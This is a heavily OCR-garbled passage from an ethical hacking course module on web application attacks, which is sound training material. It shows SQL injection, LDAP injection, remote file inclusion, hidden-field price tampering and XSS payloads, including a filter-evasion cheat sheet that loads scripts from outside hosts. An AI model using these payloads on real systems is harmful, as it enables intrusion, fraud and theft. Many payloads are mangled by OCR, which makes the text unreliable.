Injection flaws are web application vulnerabilities that allow untrusted data to be interpreted and executed
as part ofa command or query

Attackers exploit injection flaws by constructing malicious commands or queries that result in data loss or
corruption, lack of accountability, or denial of access

Injection flaws are prevalentin legacy code, often found in SQL, LDAP, and XPath queries, etc. and can be
easily discovered by application vulnerability scanners and fuzzers

SQL Injection Command Injection LDAP Injection
It involves the injection It involves the injection It involves the injection
of malicious SQL queries of malicious code through of malicious LDAP
into userinput forms aweb application statements
SQL
Server
J J
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Injection Flaws

Injection flaws are the loopholes in the web application that allow unreliable data to
be interpreted and executed as part of a command or query. The injection flaws are being
exploited by the attacker by constructing malicious commands or queries that result in loss of
data or corruption, lack of accountability, or denial of access. Injection flaws are prevalent in
legacy code, often found in SQL, LDAP, and XPath queries, etc. These flaws can be detected
easily by application vulnerability scanners and fuzzers. By exploiting the flaws in the web
application, the attacker can easily read, write, delete, and update any data, i.e., relevant or
irrelevant to that particular application. They are many types of injection flaws; some of them

are as follows:
SQL injection

SQL injection is the most common website vulnerability on the Internet. It is the
technigue used to take advantage of non-validated input vulnerabilities to pass SQL commands
through aweb application for execution by a backend database. In this, the attacker injects the
malicious SQL queries into the user input form and this is usually performed to either to gain
unauthorized access to a database or to retrieve information directly from the database.

* Command injection
The flaws in command injection are another type of web application vulnerability.
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These flaws are highly dangerous. In this type of attack, the attacker injects the malicious code

via aweb application.
LADP injection

B LDAP injection is an attack method in which the website that constructs the LDAP
statements from user-supplied input are exploited for launching attacks. When an application
fails to sanitize the user input, then the LDAP statement can be modified with the help of local
proxy. This in turn results in the execution of arbitrary commands such as granting access to
unauthorized queries and altering the content inside the LDAP tree.
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S Q L In je ction A tta c k s C EH

J SQL injection attacks use a series of malicious SQL queries to directly

manipulate the database

SQL injection

attacks J An attacker can use avulnerable web application to bypass normal security
measures and obtain direct access to the valuable data
J SQLinjection attacks can often be executed from the address bar, from
within application fields, and through queries and searches
01 <?php
02 function save email($user, $message)
web " Internet 03 {
Browser 04 $sql = "INSERT INTO Messages (
05 user, message
06 ) VALUES (
07 '$userl, '$message’
test');DROP TABLE Messages;--
08 )
09 return mysql uer sql);
When this code is sent to the database ysal-a y($sah
server, it drops the Messages table 10 }
11 ?>
Code to insert spammy data on behalfof other users SC*L Injection vulnerable server code
Attacker test'), (‘user2', '1 am Jason'), ('user3', 'You are hacked

Note: Forcomplete coverage of SQL Injection concepts and techniques, referto Module 14: SQL Injection
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SQL Injection Attacks

SQL injection attacks use command sequences from Structured Query Language (SQL)
statements to control database data directly. Applications often use SQL statements to
authenticate users to the application, validate roles and access levels, store and obtain
information for the application and user, and link to other data sources. Using SQL injection
methods, an attacker can use a vulnerable web application to avoid normal security measures
and obtain direct access to valuable data.

The reason why SQL injection attacks work is that the application does not properly validate
input before passing it to a SQL statement. For example, the following SQL statement,

select * from tablename where UserlD= 2302 becomes the following with a simple SQL
injection attack:

SELECT * FROM tablename WHERE UserlD= 2302 OR 1=1

The expression "OR 1=1" evaluates to the value "TRUE," often allowing the enumeration of all
user ID values from the database. SQL injection attacks can often be entered from the address

bar, from within application fields, and through queries and searches. SQL injection attacks can
allow an attacker to:

© Log in to the application without supplying valid credentials
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© Perform queries against data in the database, often even data to which the application
would not normally have access

© Modify the database contents, or drop the database altogether

© Use the trust relationships established between the web application components to

access other databases

m i
01 <?php
02 function save email(?user, ?message)
Web Internet 03 <
Browser 04 $sql = "INSERT INTO Messages (
05 user, message
A 06 ) VALUES (
07 '‘2user', '?message’
test');DROP TABLE Messages;—
08 )"
. . 09 t | 1)
When this code is sent to the database return mysql query($sql)
server, it drops the Messages table 10 }
11 >

Code to insert spammy data on behalf of other users SQL Injection vulnerable server code

test'), (‘user2', '1 am Jason'), Cuser3’ 'You are hacked

FIGURE 13.8: SQL Injection Attacks
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Comm and Inje ction A ttacks C EMH

J An attackertries to craft an input string to gain shell access to a web server

J  Shell Injection functions include system (),startProcess (),
java.lang.Runtime .exec (),System.Diagnostics .Process .Start (),
and similar APIs

This type of attack is used to deface websites virtually. Using this attack, an

attacker adds an extra HTML-based contentto the vulnerable web application

In HTML embedding attacks, user input to a web script is placed into the output
HTML, without being checked for HTML code or scripting

J

J The attacker exploits this vulnerability and injects malicious code into system
files

J http ://www.juggyboy.com/vulnerable.php?COLOR=http://e villexploit?

Copyright © by md-AH Rights Reserved. Reproduction is Strictly Prohibited.

Command Injection Attacks

— — Command injection flaws allow attackers to pass malicious code to different systems
via aweb application. The attacks include calls to the operating system over system calls, use of
external programs over shell commands, and calls to the backend databases over SQL. Scripts
that are written in Perl, Python, and other languages execute and insert the poorly designed
web applications. If aweb application uses any type of interpreter, attacks are inserted to inflict
damage.

To perform functions, web applications must use operating system features and external
programs. Although many programs invoke externally, the frequently used program is
Sendmail. When a piece of information is passed through the HTTP external request, it must be
carefully scrubbed, or the attacker can insert special characters, malicious commands, and
command modifiers into the information. The web application then blindly passes these
characters to the external system for execution. Inserting SQL is dangerous and rather
widespread, as it is in the form of command injection. Command injection attacks are easy to
carry out and discover, but they are tough to understand.

A==3 Shelllnjection

1 To complete various functionalities, web applications use various applications and
programs. It isjust like sending an email by using the UNIXsendmail program. There is
a chance that an attacker may inject code into these programs. This kind of attack is dangerous
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especially to web page security. These injections allow intruders to perform various types of
malicious attacks against the user's server. An attacker tries to craft an input string to gain shell
access to aweb server.

Shell injection functions include system (), Start Process (), java.lang.Runtime.exec (),

System.Diagnostics.Process.Start (), and similar APlIs.
HTML Embedding

This type of attack is used to deface websites virtually. Using this attack, an attacker

adds extra HTML-based content to the vulnerable web application. In HTML
embedding attacks, user input to a web script is placed into the output HTML, without being
checked for HTML code or scripting.

File Injection
a The attacker exploits this vulnerability and injects malicious code into system files:
http://www.iuggvbov.com/vulnerable.php?COLOR=http://evil/exploit

Users are allowed to upload various files on the server through various applications and those
files can be accessed through the Internet from any part of the world. If the application ends
with a php extensionand if any user requests it, then the application interprets it as a php script
and executes it. This allows an attacker to perform arbitrary commands.

Module 13 Page 1770 Ethical Hacking and Countermeasures Copyright © by EG-COUNGI
All Rights Reserved. Reproduction is Strictly Prohibited.


http://www.iuggvbov.com/vulnerable.php?COLOR=http://evil/exploit

Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

Comm and Injection E xam ple

Attacker Launching Code
Injection Attack http://juggyboy/cgibin/Ispro/Ispro.cgi?hit_out=1036

Malicious code:

N
www.juggyboy.cam/baimer.gifllnewpassword|[|1036 Ju g gyB Oy com
160|468

User Name Gddison
L Email Add ddi@j boy.co~
S An attacker enters malicious code (account mal ress  addi@juggyboy.co ]
number) with a new password Site URL ~ www juggyboy.com 3

Banner URL [ mgif | [newpassword|1036]60]468

6 The lasttwo sets of numbers are the banner
. Password [ newpassword
size

« Once the attacker clicks the submit button, the
password for the account 1036 is changed to

"newpassword" . o
Poor input validation at server

script was exploited in this attack
9 The server script assumes that only the URL of that uses database INSERT and
the banner image file is inserted into that field UPDATE record command

Copyright © by md-AH Rights Reserved. Reproduction is Strictly Prohibited.

Command Injection Example
The following is an example of command injection:

To perform a command injection attack, the attacker first enters malicious code (account
number) with a new password. The last two sets of numbers are the banner size. Once the
attacker clicks the submit button, the password for the account 1036 is changed to
"newpassword.” The server script assumes that only the URL of the banner image file is
inserted into that field.
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Attacker Launching Code o ~
Injection Attack M [- _____________________ > INT hittp //juogYeey/ai bin/lspr/ispfoogiht]. out 1036
Malicious code: Com
www.ruggyboy.com/banner.giflnewpasswordl[1036 "
1601468
UMfN«m«  Addison
Email Addreu ~ addigojuggytooycom 3
Sits URI [ wwwiuggyboycom b)
nn#f URL [ .gif) Inewpjssword|1036fc0[468 ]
Password [ ncwpjsswofd Kl
Poor input validation at server
script was exploited in this attack
that uses database INSERT and
UPDATE record command
FIGURE 13.9: Command Injection Example
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F ile In je ¢c tio n A tta c k C EH
<?php
GO $drink = 'coke';
if (isset( s_ceT['DRINK'T )
<form method="get"> $drink = s_ceT['DRINK'];
<select name="DRINK"> requimee( $drink . ' .php’ );
<option value="pepsi”>pepsi</option> >

<option value="coke">coke</option>
<Iselect>
Cinput type="submit">

</form>

Client code running in a browser

http ://www.juggyboy.com/orders.php?DRINK=http://jasoneval.com/exploit? <

e Attacker injects a File injection attacks enable attackers to exploit
remotely hosted file at vulnerable scripts on the server to use a remote file
www.jasoneval.com instead of a presumably trusted file from the local
containing an exploit file system

Attacker

Copyright © by md-AH Rights Reserved. Reproduction is Strictly Prohibited.

F ile Injection Attack

Users are allowed to upload various files on the server through various applications
and those files can be accessed through the Internet from anywhere in the world. If the
application ends with a php extension and if any user requests it, then the application
interprets it as a php script and executes it. This allows an attacker to perform arbitrary
commands. File injection attacks enable attackers to exploit vulnerable scripts on the server to
use a remote file instead of a presumably trusted file from the local file system. Consider the

following client code running in a browser:
<form method="get">
<select name="DRINK">
Coption value="pepsi">pepsi</option>
Coption value="coke">coke</option>
</select>
<input type="submit">
< /forra>
Vulnerable PHP code
<?php
$drink = 'coke’;
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if (isset( $_GET[DRINKT ) )
$drink = $ GET['DRINK'];
require( $drink . '.php"' );

?>

To exploit the vulnerable php code, the attacker injects a remotely hosted file at
www.jasoneval.com containing an exploit.

Exploit code

http://www .iuggvboy.com/orders. php?DRINK=http://iasoneval.com/exploit?
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W h at Is LD AP In je ction ? C EMH

| (ertifwtf  itfciul mUIM

An LDAP injection technique is used to take advantage of non-validated web
application input vulnerabilities to pass LDAP filters used for searching Directory

Services to obtain direct access to databases behind an LDAP tree

Filt .
ter (attributeName operator value)
. . Syntax

LDAP Directory Services

store and organize Operator Example

information based on its
(*I attributes. The information = (abjectclass=user)
a. is hierarchically organized
W as atree of directory >= (mdbStorageQuota>=100000)
Q entries
J <= (mdbStorageQuota<=100000)
-M ~= (displayName~=Foeckeler)
A(\ LDAP is based on the . (displayName—John*)
* dient-server model and

clients can search the AND (&) (&(objectclass-user) (displayName—John)

directory entries using

filters OR (|) (l(objectclass=user) (displayName=John)

NOT(!) (fobjectClass=group)

Copyright © by m-AH Rights Reserved. Reproduction is Strictly Prohibited.

W hatis LDAP Injection?

An LDAP (Lightweight Directory Access Protocol) injection attack works in the same
way as a SQL injection attack. All the inputs to the LDAP must be properly filtered, otherwise
vulnerabilities in LDAP allow executing unauthorized queries or modification of the contents.
LDAP attacks exploit web-based applications constructed based on LDAP statements by using a
local proxy. LDAP statements are modified when certain applications fail. These services store
and organize information based on its attributes. The information is hierarchically organized as

a tree of directory entries. It is based on the client-server model and clients can search the
directory entries using filters.
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Filter
Syntax

Operator

AND (&)
OR ()

NOT (1)
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(attributeName operator value)

Example

(displayName~=Foeckeler)
(displayName=*John¥*)
(S(objectclass=user)(displayName=John)
(&(objectdsss=user) (dtsplayName=John)

(lobjectClass=group)

FIGURE 13.10: LDAP Injection
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H ow LDAP In je ction W orks CEMH
n
Normal Query
Normal Query + Code Injection
Normal Result LDAP Normal Resultand/or LDAP
Additional Information
Client LDAP Server Client LDAP Server

LDAP injection attacks are similar to SQL injection attacks but exploit user parameters to generate LDAP query

To test if an application is vulnerable to LDAP code injection, send a query to the server meaning that generates

an invalid input. Ifthe LDAP server returns an error, it can be exploited with code injection techniques

Account Login If an attacker enters valid user name "juggyboy"”,

and injects juggyboy)(&)) then the URL string

becomes (&(USER=juggyboy)(&))(PASS=blah)) only

the first filter is processed by the LDAP server, only

the query (&(USER=juggyboy)(&)) is processed.

1Vv\ : Password blah This query is always true, and the attacker logs into
the system without avalid password

1 v! Username juggyboy)(&))

Attacker Submit

Copyright © by m.AII Rights Reserved. Reproduction is Strictly Prohibited.

How LDAP Injection W orks

(H U LDAP injection attacks are commonly used on web applications. LDAP is applied to any
of the applications that have some kind of user inputs used to generate the LDAP queries. To
test if an application is vulnerable to LDAP code injection, send a query to the server that
generates an invalid input. If the LDAP server returns an error, it can be exploited with code
injection techniques.

Depending upon the implementation of the target, one can try to achieve:
© Login Bypass
© Information Disclosure
e Privilege Escalation

© Information Alteration
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Normal operation

Normal Query

Normal Result

Client LDAP Server

FIGURE 13.11: Normal operation

Operation with code injection

Normal Query
+ Code Injection

Y
< D¢ LbAP
Normal Result and/or
Additional Information
Client LDAP Server

FIGURE 13.12: Operation with code injection

Attack

If an attacker enters a valid user name of "juggyboy" and injects juggyboy) (&)), then the URL
string becomes (& (user=juggyboy) (&)) (PASS=blah)). Only the first filter is processed by the

LDAP server; only the query (&(USER=juggyboy) (&)) is processed. This query is always true,
and the attacker logs into the system without a valid password.

Account Login
Username juggyboy)(&))

: Password blah

Attacker

FIGURE 13.13: Attack
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Hidden Field M anipulation Attack |I CEH

HTML Code Normal Request

<fom method="post" hitp:/iwww . juggybo

action”"page.aspx”> y .com/page.aspx?pr

<input type="hidden" name= oduct=Juggyboy%20S Attack Request
"PRICE" value200.00" "> hirt& price=200.00

Product name: <input type=

"text” name="product” http ://www.juggybo
value="Juggyboy Shirt"Xbr> y .com/page.aspx?pr

Product price: 200.00"Xbr> oduot=Juggyboy%20S

<input type="submit" value= hirt& price=2.
“submit" >

</form>

$ When a user makes selections on an HTML page, the selection is typically stored as form
field values and sentto the application asan HTTP request (GET or POST)

Product Name Juggyboy Shirt A
0 HTMLcan also store field values as hidden fields, which are not rendered to the screen by

) the browser, but are collected and submitted as parameters during form submissions
Product Price [ 200 )

Submit 6 Attackers can examine the HTML code of the page and change the hidden field values in
order to change post requests to server

Copyright © by md-AH Rights Reserved. Reproduction is Strictly Prohibited.

Hidden Field M anipulation Attack

Hidden manipulation attacks are mostly used against e'commerce websites today.
Many online stores face these problems. In every client session, developers use hidden fields to
store client information, including price of the product (Including discount rates). At the time of
development of these such programs, developers feel that all the applications developed by
them are safe, but a hacker can manipulate the prices of the product and complete a
transaction with price that he or she has altered, rather than the actual price of the product.

For example: On eBay, a particular mobile phone is for sale for $1000 and the hacker, by
altering the price, gets it for only $10.

This is a huge loss for website owners. To protect their networks from attacks, website owners
are using the latest antivirus software, firewalls, intrusion detection systems, etc. If their
website is attacked, often it also loses its credibility in the market.

When any target requests web services and makes choices on the HTML page, then the choices
are saved as form field values and delivered to the requested application as an HTTP request
(GET or POST). The HTML pages generally save field values as hidden fields and they are not
displayed on the monitor of the target but saved and placed in the form of strings or
parameters at the time of form submission. Attackers can examine the HTML code of the page
and change the hidden field values in order to change post requests to the server.

<input type="hidden" name= "PRICE" value="200.00">
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Product name: <input type= "text" name="product" value="Juggyboy
Shirt"xbr>

Product price: 200.00"><br>
<input type="submit" value= I1submit">

</form>
1. Open the html page within an HTML editor.
2. Locate the hidden field (e.g., "<type=hidden name=price value=200.00>").
3. Modify its content to a different value (e.g. "<type=hidden name=price value=2.00>").
4. Save the html file locally and browse it.
5. Click the Buy button to perform electronic shoplifting via hidden manipulation.

HTML Code Normal Request

<form method="post" http ://www.juggybo Hidden Field
»tTnns"pag« .acspx"> y.com/page.aspx?pr Price = 200.00

<input type="1idden" name= oduct=Juggyboy%20S Attack Request
"“PRICE"™ value="200.00"> hirtfiprice=200.00

Product name: <input type=
“text" name="product" http://www.juggybo
value="Juggyboy Shirt"Xbr> y .com/page.aspx?pr

Product price: 200.00"><br> oduct=Juggyboy% 20S

<input type="submit" value= hirt& price=2.00
“subn'.it,>

</for:"> 11"

FIGURE 13.14: Hidden Field Manipulation Attack
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Cross-site scripting (,XSS' or'CSS') attacks exploitvulnerabilities in dynamically generated web pages,
which enables malicious attackers to inject client-side script into web pages viewed by other users

It occurs when invalidated inputdata is included in dynamic contentthatis sentto a user's web browser
forrendering

Attackers inject malicious JavaScript, VBScript, ActiveX, HTML, or Flash for execution on a victim's system by
hiding it within legitimate requests

D n Malicious script execution Session hijacking

n Redirecting to a malicious server Brute force password cracking
privilegesuserExploitingl | Data theft n
A Ads in hidden IFRAMES and pop-ups Intranet probing 1

manipulation Data Keylogging and remote monitoring

Copyright © by md-AH Rights Reserved. Reproduction is Strictly Prohibited

Cross-Site Scripting (XSS) Attacks

Cross-site scripting is also called XSS. Vulnerabilities occur when an attacker uses web
applications and sends malicious code in JavaScript to different end users. It occurs when
invalidated input data is included in dynamic content that is sent to a user's web browser for
rendering. When a web application uses input from a user, an attacker can commence an
attack using that input, which can propagate to other users as well. Attackers inject malicious
JavaScript, VBScript, ActiveX, HTML, or Flash for execution on a victim's system by hiding it
within legitimate requests. The end user may trust the web application, and the attacker can
exploit that trust in order to do things that would not be allowed under normal conditions. An
attacker often uses different methods to encode the malicious portion (Unicode) of the tag, so
that a request seems genuine to the user. Some of them are:

Malicious script execution - Session hijacking
Brute force password cracking - Redirecting to a malicious server
Exploiting user privileges - Data theft

Intranet probing - Ads in hidden IFRAMES and pop-ups

@ O O © o

Data manipulation - Keylogging and remote monitoring
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H o w XSS A tta c ks W o0 rk C EH

Normal Request This example uses a
rable page which handles

for a nonexistent pages,
a classic 404 error page

(Handles requests for a
nonexistentpage, a
classic 404 error page)

Server

http://juggyboy.com/<script>alert("WARNING: The application
has encountered an error");</soript>

Copyright © by m-AH Rights Reserved. Reproduction is Strictly Prohibited.

S How XSS Attacks W ork

To understand how cross-site scripting is typically exploited, consider the following
hypothetical example.

Normal Request

http://juggyboy.com/dason_fil«.htm|
404 Not found

/jason_file.html

Server Code (Handles requests for a
Server Response nonexistent page, a
<hfem I> clastic 40A error page)
<body>
<? php
print "Not found:
XSS Attack Code urldeaode ($_SERVER["
REQUEST_URI" ) ;
> n
</body>
Server Response
</htmI> Server

http://juggyboy.coaa/<3cript>alert("WARNING: The application
has encount«r*d an erxror");</script>

FIGURE 13.15: How XSS Attacks Work
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Cross-Site S cripting A ttack

Scenario: Attack via E m ail

Hi, You have won a User clicks

lottery of$2M, d ick the malicious link
the linkto claim it.

<A

HREF=http;//juggyboy.

Sends email with
com/.

malicious link

Serversends a

Name: Shaun page to the user
Age: 31 with client profile
Location: UK ~

Ccompatiom £ e
Last visH: Sept21,2010

Malicious code is executed

on the client web browser

Attacker

In this example, the attacker crafts an email message with a malicious script and sends it to the victim:

<A HREF=h ttp ://le gitim ate S ite.com /registration.cgi?clientprofile=<SCRIPT>
m alicious codec/SCRIPT»Click here</A>

When the user clicks on the link, the URL is sentto legitimateSite.com with the malicious code

The legitimate server sends a page back to the user including the value of clie ntp ro file , and the malicious
code is executed on the client machine

Copyright © by md-AH Rights Reserved. Reproduction is Strictly Prohibited

Cross-Site Scripting Attack Scenario: Attack via Em ail

In a crosssite scripting attack via email, the attacker crafts an email that contains a link
to malicious script and sends it to the victim.

Malicious Script:

<A HREF=h ttp ://le gitim ate Site.com /registration.cgi?clientprofile=<SCRIPT>
m alicious code</SCRIPT»Click here</A>

When the user clicks on the link, the URL is sent to legitimateSite.com with the malicious code.
Then the server sends a page back to the user including the value of client profile and the

malicious code is executed on the client's machine.

The following diagram depicts the cross-site scripting attack scenario attack via email:
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Sends email with
malicious link

Request Isreceived
by legitimate server

FIGURE 13.16: Attack via Email
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XSS Exam ple: Attack via E m a il C EMH

rrrl

. Legitimate
User's Malicious Attacker's

Server
Browser Script Server

<A HREF=http ://juggyboybank.can/

a malicious link registration.cxji?clientprofile=<SCRIPT>

malicious code</SCRIPT»Click here</A>
the URL to user and convince userto click on it

Request the page

Page with malicious script
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XSS Example: Attack via E m ail
The following are the steps involved in an XSS attack via email:

1. Construct a malicious link:

<AHREF=h ttp ://juggyboybank.com/registration.cgi?clientprofile=<SCRIPT>
m alicious code</SCRIPT>>Click here</A>

2. Email the URL to the user and convince the user to click on it.
3. User requests the page.
4. Legitimate server sends a response page with malicious script.

5. Malicious script runs on the user's browser.
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IS

o Legitimate
User's Malicious Attackers Server
\%

Browser Script Server
<A HREF=http:// ~uggyboybeink .com/

Q Construct a malicious link registration.cgi?clientprofile=<SCRIPT>

malicious codec/SCRIPT»Click here</A>

FIGURE 13.17: Attack via Email
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XSS Example: Stealing Users

C ookie s

User's Malicious Attacker's

Browser Script Server
Host a page with malicious script

A A k\eiew the page hosted Dy the attacker

HTML containing malicious s ¢ r i !
Mt T, 1

Run

Collect user's cookies

Redirectto attacker's server

Send the request with the user's cookies
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XSS Example: Stealing Users* Cookies

To steal the user's cookies with the help of an XSS attack, the attacker looks for XSS

vu nerabilities and then installs a cookie stealer (cookie logger).

The following are the various steps involved in stealing user's cookies with the help of XSS
attack:

1. Attacker initially hosts a page with malicious script

2. The user visits the page hosted by attacker

3. The attacker's server sends the response as HTML containing malicious script
4. The user's browser runs the HTML malicious script

5. The Cookie Logger present in the malicious script collects user's cookies

6. The malicious script redirects the user to attacker's server

7. The user's browser sends the request with the user's cookies
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. Attacker's
User's Malicious Attacker's
. Server
Browser Script Server

a page with malicious script
* |I D T

! ”-,ViEWthe page hosted by the attacker

| |
0 HTML containing malicious script @
<o
Run
.......... <>
Collect user’s cookies

Redirect to attacker's server] 1

| -

STevvennnnn d i |

Sendthe requestwith the user's cookies
&
FIGURE 13.18: Stealing Users' Cookies
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XSS Example: Sending an

. C EH
Unauthorized Request
Attacker's
User's Malicious Attacker's
Server
Browser Script Server
Construct a malicious link
Email the URL ;d user and convince user to click on it
Request the page I

Page with malicious script

An authorized request
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XSS Example: Sending an Unauthorized Request

Using an XSS attack, the attacker can also send an unauthorized request. The
following are the steps involved in an XSS attack intended to send an unauthorized request:

1. Attacker constructs a malicious link
2. Sends an email containing the URL to user and convinces user to click on it
3. The user's browser sends a request to the attacker's server for the page

4. The attacker's server in response to the user's request sends the page with malicious

script
5. The user's browser runs the malicious script

6. The malicious script sends an authorized request
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FIGURE 13.19: Sending an Unauthorized Request
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XSS A ttack in B log P osting C EH

Malicious code
<script>onload=
window.location=
*http:/iwww juggYboy.com’
<Iscript>

isinjecting the blog post

Userredirected to a malicious
website juggyboy.com

Web Application Malicious Website
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135 XSS Attack in a Blog Posting

The following diagram depicts the XSS attack in a blog posting:

Malicious code
<script>onload=
window.location=
the commentfield of blog post ‘http://www.juggybcy.com’
</script>

isinjecting the blog post

Attacker adds a malicious script in

Comment with
malicious link is

stored on the server
User redirected to a malicious

website juggyboy.com

Web Application
Database Server pp Malicious Website

FIGURE 13.20: XSS Attack in a Blog Posting
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XSS A tt

Comment with
malicious link is
stored on the server
Database Server

J XSS Attack in

ack in

Web Application

C

Exam 312-50 Certified Ethical Hacker

om m ent F ie |Id C EH

000O

User visits the

| TechPost
website Facebook acquires file-sharing service

New York-based start-up that lets users privately
and sporadicaty share fles through a drag-and-
drop interface with additional options-—-------

Comment

Jason, llove your blog post!

- Mark (mark@miccasoft.com)

Leave your comment

Malicious code
<script»alert ("Hell
o World") </scrip t>

isinjecting the blog post

I HAINVWhild

The alert pops up as soon .
as the web page is loaded | <.

Pop up Window
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a CommentField

Many Internet web programs use HTML pages that dynamically accept data from

diff.e‘rent sources. The data in the HTML pages can be dynamically changed according to the
request. Attackers use the HTML web page's tags to manipulate the data and to launch the
attack by changing the comments feature with a malicious script. When the target sees the
comment and activates it, then the malicious script is executed on the target's browser,
initiating malicious performances.
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aas

vov| Mort. oo
Facebook acquires file-sharing service
N#w York baved start mpthat I=tt users privately

end sporadically share files through a drag and
drop interfece with Additional options.

Leave your comment
Attacker Y

Jason, 1lova your blog post!
<script>alert(Hello
World")</script>

. ) Malicious code
Attacker adds a malicious script <script>alert("Hell
Inthe comment field of blog post o World")</script>
isinjecting the blog post

Comment with malicious
link is stored on the

The alert pops up as soon
server
Database Server

as the web page Is loaded
Web Application

Pop up Window
FIGURE 13.21: XSS Attack in a Comment Field
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X S S C h e a

XSS locator: ";1-""<XSS>=&{(}

Normal XSS JavaScript injection: <SCRIPT
SRC=http://haxkers.org/xss.jsx/SCRIPT>

Image XSS: <IMG SRC=Tjavascript:alert('XSs

Noquotesand no semicolon: <IMG
SRC=javascript:alert(XSs’)>

Case insensitive XSS attack vector: <IMG
SRC=JaVaScRIPt:alert(XSS')>

HTML entitles: <IMG
SRC=javascript:alert (&quot;XSS&quot;)>
Grave accent obfuscation: <IMG

SRC= javascript:alert(" RSnake says, 'XSS'T>
Malformed IMG tags:<IMG
~""xSCRIPT>alertf XSS")</SCRIPT>" >
Embedded tab: <IMG SRC«"Jav
ascript:aiert('XSS");H>

Embedded encoded tab: <IMG
SRC™-jav&#x09;ascrlpt:alert (XSS);">

Embedded tab: <IMG SRC="jav
ascript:aiert(’XSs");">

Embedded encoded tab: <IMG
SRC™")av&#x09;asalptalert (,XSS);:"

Embeded newline: <IMG
SRC="jav&#xOA;ascript:alert("XSS");">

XSS Cheat Sheet

XSS locator ~*.'-"<XSS>=*{()}

»normal XSS ;avaSaipt inaction <SCRIFT
SRC=nttp Jfha tters org/cssjsx/SCRIPT>

"*p «*6 W

Mo qiKrtrc 4 N m jemicotos: <IMG

Case *nsensitrve XSS attao vector <«*G
HTML entrties *IM G

Grave accent odfascatioa: <IMG
S R Cc 0 & “8n 681«*«601°S&CTV TC

Marformeo IMG tags m:IMG
' **xSCRIPT>alert{ XSS~ ></SCRIPT>">

Emoedded tatr <JMG SRC=*jav
w A takr” TCSSJ;">

Emoeooefl encoded tab: <IMG
SRC=*jjx&*»c09;ascnpt a*ert('’XSs'>/ >
Embedded tat <IMG SRC="jay

s sslgjiwe>>

Embedded encoded tad:«IMG
SRC='0x"acO9;ascnpt n»ert(XSs?);">

IffIV\M/’ "yt é*G

S*C " IW|M 1« fIA»nptsl«rtiTCSS). >
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t S heet H

Embedded carriage return: <IMG
SRC™"jav&#xOD;ascript:alertfXSS™(">

NuN Chars: peri -e 'print "<1IMG
SRC=java\Oscript:ale rt(\"XSS\")>";'> out
Non-alpha-non-digit XSS: <SCR1PT/XSS
SRC="http~/ha.dcers~fg/xss.js" x/SCRIPT>

Non-alpha-non-digit part 2 XSS: <BODY
onload! # $ % & () - + 1 /] @?::,.7\K'=alert<"XSs")>

Extraneous open brackets:
«SCRJIPT>alert("XSS") ; //« | SCRIPT>

No dosing script tags: <SCRIPT
SRC=http://ha.ckers.org/xss js?<B>

Protocol resolution in script tags: <SCRIPT
SRC™//haxkers.org/j>

Half open HTML/JavaScript XSS vector: <IMG
SRC="Javascript :alert(’XSs")"

Double open angle brackets: <Iframe
src™http://ha.cke rs.org/scriptlethtmi <

XSS with no single quotes or double quotes or
semicolons: SCRIPT>alert(/XSS/source K/SCRIPT>

Escaping JavaScript escapes: \ ";alert('XSS");//

End title tag:
<ITTTIEXSCRJPT>aiert(*XSS*);</SCRIPT>

INPUT image :<IN PUT TYPE="IMAGE"
SRC*"Javascript:alert(XSSY);">

Exam 312-50 Certified Ethical Hacker

C EH

UilifM  itkiul  Mnfew

IMG Dynsrc: <IMG
DYNSRC™"javasaiptalertCXSS=(">

IMG lowsrc:<IMG
DYNSRC™"Javasalpt:alertfXss=(>

IMG lowsrc:<IMG
LOWSRC="javascript :alert(Xss’)">

BGSOUND:<BGSOUND
SRC™"javasalpt:ale rt(’XSS'('"<

LAYER:<LAYER SRC=
“http://haxkers.org/scriptiethtm Tx/LAYER>

STYLE sheet: <LINK REL="stylesheet™
HREF™~javasalpt:ale rt( XSS*;"<

Local htcfile:<XSSSTYLE™"behavk>r:
urHxssJttc);">

VBscriptinan Image: <IMG
SRC*Vbsaipt:msgbox("XSS")'>

Mocha: <IMG SRC™"Hvescript:[code]">

US-ASCII encoding: isaiptualert(EXSSE)i/saiptu

META:<META HTTP-EQUfV-"rafrash"
CONTENT="0;uH=javascript:alert(XSs);">

TABLE:<TABLE
BACKGROUN D™javascript:alert(XSS(">

TD:<TABLEXTD
BACKGROUND™"javasalpt:alert(*XSS~(">
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Embedded carriage return:'.IMG
SRC=*jfg"k00.ascnpt ateftiXSs A
M *Omn (Kfl.-e *print “<*AG
SRC-ynvn\Oscnpta*ertfl*XxSSV > out
W:m-alpr»»-n&nTtg:t XSS <SCRI1FT/XSS
SHC:*nttpy/ha ckers org/KSS.jsXVSCRIFT>
pvt 2 XSS <SOOY

e m -2 *1/-XS S ">
Evtraneous open brackets
<<SCRIFT>«»eft(TCSS"y /«/5CW FT>
No Oasu” senptfgz. <SOUFT
SRC=attpy/aa.cilers.org/css. js*«:*>
Protocol resolution m senpt tags <SCRIPT
SR E=2//fca.clters.orglj>
Ha*f opes KTMt/javaScnpt X 5 vector dM G
SRC=*|»v«5qnjtrier"XSS7"
Dootrte open angle Dradcets
gty~Mittpy/ha.cfcers.org/sertpttet.fttmi <

XSS w rtt bo saftgte Quotes or dow&te quotes or
semacoftoaa: SCR*T>«lert(/XSS/-S0«drce></SalFT>

Escaping JraScnpt escapes W ater* xssy/

Ena title tag

</TTmxscR~>aiert(*xss*WsaaPT>

INPUT mm nm JMFVT TYPE=*IN»GE"

iMKratf™>

FIGURE 13.22: XSS Cheat Sheet

~MG(SK|C’\CII:/IG ) ,
ONSCamistlusd” &

MGIfwVC<M6

SGSOUND.-SGSOL'ND
S/\

LAVER *LAYER SHC=
*Httpy/na.Aefs.org/scriptiet-MmJ "x/IAYER >

TSy

STYU sheet: <UNKREU-gTfettcgr

HRE=THWEENJ FOXSS™ >

local Mc.foe <XSS ST1U="»eMwor

VBscript in an image. <JIMG
SRC=Vtecript:msgtX)»cf*XSS7'>

MocM <JMG SRC='lnrescnpt:Jcodel*>

US-ASOI encoding gOTpya>mIEXSSE fIxz>plv

META<META KTTF-EQIWr-refiesa*
CoOtaem="0:mt=ffrKaTft:*ertfxSSV >
TABLE CTABLE

bacxgrouno=" ty ip ttErtjrcssf>
TDxTAUfxTO

iackgroum>="*avascrwt a*ertfTCSS77>
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Cross-Site Request Forgery (CSRF)
Attack o

J Cross-Site Request Forgery (CSRF) attacks exploit webpage vulnerabilities that allow an attackerto force an

unsuspecting user's browser to send malicious requests they did not intend

J The victim user holds an active session with atrusted site and simultaneously visits a malicious site, which

injects an HTTP request for the trusted site into the victim user's session, compromising its integrity

fc

User Trusted Website Malicious Website

>
Logs into the trusted site and

creaitesa news! :sion

